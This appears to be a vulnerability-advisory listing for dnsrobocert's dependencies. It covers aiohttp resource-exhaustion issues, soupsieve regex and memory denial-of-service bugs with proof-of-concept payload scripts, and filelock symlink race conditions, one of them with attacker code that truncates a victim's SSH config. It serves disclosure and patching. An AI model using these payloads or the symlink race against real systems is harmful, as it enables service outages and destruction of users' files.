Threats affecting pkg:brew/dnsrobocert

### Summary An attacker can exhaust file descriptors with specially crafted multipart requests. ### Impact If a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.

### Summary An overflow in Max-Age processing can skip closing a connection. ### Impact An attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.

### Summary The keepalive timeout was not used during the initial portion of a request. ### Impact An attacker could keep an idle connection open indefinitely before sending any data. ### Workaround Use a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.

### Summary The Secure attribute was not being enforced for the shared cookie. ### Impact It may be possible to send a shared cookie marked Secure through an unencrypted request.

## Summary soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes. ## Trust model (Q0) The selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # lines 122-126 IDENTIFIER = fr''' (?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--) (?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*) ''' # line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern) VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})''' ``` - classA `[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]` excludes digits (0x30-0x39); classB `[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]` allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match. The quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `"a"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + "$"` against `"a"*n + "!"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile("[a=" + "a"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead). ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_compile.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def compile_time(sel): t0 = time.perf_counter() try: sv.compile(sel) status = "ok" except Exception as e: status = type(e).__name__ return (time.perf_counter() - t0), status print(f"soupsieve {sv.__version__}\n") print("Payload A: '[a=' + 'a'*n (unterminated attribute value)") for n in (1000, 2000, 4000, 8000): dt, st = compile_time("[a=" + "a" * n) print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]") print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)") for n in (2000, 4000, 8000, 16000): dt, st = compile_time("a" * n + "!") print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]") payload = "[a=" + "a" * 12000 dt, st = compile_time(payload) print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` End-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select("[a=" + "a"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`). ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`) ``` soupsieve 2.9 Payload A: '[a=' + 'a'*n (unterminated attribute value) n=1000 len=1003 214.8 ms [SelectorSyntaxError] n=2000 len=2003 504.7 ms [SelectorSyntaxError] n=4000 len=4003 2031.9 ms [SelectorSyntaxError] n=8000 len=8003 8091.3 ms [SelectorSyntaxError] Payload B: 'a'*n + '!' (identifier run + invalid trailing char) n=20

## Summary Before tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `" "*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU. ## Trust model (Q0) The selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # line 185-186 RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe) RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset # selector_iter, lines ~1322-1326 m = RE_WS_BEGIN.search(pattern) index = m.end(0) if m else 0 m = RE_WS_END.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1) ``` `WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset. The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect. ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_ws_trim.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def ct(sel): t0 = time.perf_counter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).__name__ return time.perf_counter() - t0, st print(f"soupsieve {sv.__version__}\n") print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " * n + "b") print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]") payload = "a" + " " * 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` Isolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `"div"+" "*n+">"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `" "*n+"x"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`. ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`) ``` soupsieve 2.9 VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok] VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError] [+] Single call: compile('a' + ' '*20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok] ``` ## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`) ``` soupsieve 2.8.4 VALID selector 'a' + ' '*n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok] ``` ## Impact — calibrated - Confirmed: quadrati

### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated. Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected. ### Details **Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for: 1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"` 2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'` 3. Unquoted identifiers When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string. **Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input. **Key characteristics:** - **Input size:** Only 300 bytes are needed to trigger a >3 second hang - **Amplification:** Each additional character approximately doubles the backtracking time - **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound) ### Proof of Concept ```python import time import soupsieve as sv PAYLOAD_LEN = 300 # Control: well-formed selector with terminated quote (completes instantly) well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]' start = time.perf_counter() try: sv.compile(well_formed) except Exception: pass control_time = time.perf_counter() - start print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s") # Exploit: unterminated quote triggers catastrophic regex backtracking malformed = '[a="' + ('x' * PAYLOAD_LEN) start = time.perf_counter() try: sv.compile(malformed) # WARNING: This will hang for >3 seconds except Exception: pass exploit_time = time.perf_counter() - start print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s") slowdown = exploit_time / max(control_time, 1e-9) print(f"Slowdown: {slowdown:.0f}x") # Expected output: # Well-formed selector (306 bytes): ~0.001s # Malformed selector (304 bytes): >3.0s (may need to be killed) # Slowdown: >3000x # # NOTE: On some systems the malformed selector may hang indefinitely. # Use a timeout mechanism (signal.alarm, threading.Timer) when testing. ``` **Safe testing variant with timeout:** ```python import signal import soupsieve as sv def timeout_handler(signum, frame): raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout") PAYLOAD_LEN = 300 malformed = '[a="' + ('x' * PAYLOAD_LEN) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 3-second timeout try: sv.compile(malformed) print("Selector compiled (not vulnerable)") except TimeoutError as e: print(f"VULNERABLE: {e}") except Exception as e: print(f"Other error: {e}") finally: signal.alarm(0) # Cancel the alarm ``` ### Impact **Severity: High** An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because: 1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits 2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`) 3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable 4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals) | Parameter | Value | |---|---| | Input size | 300 bytes | | CPU time consumed | >3 seconds (exponential with payload length) | | Memory consumed | Negligible (CPU-only attack) | | Authentication requir

### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

## Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ## Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ## References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@tsigouris007)

### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix sys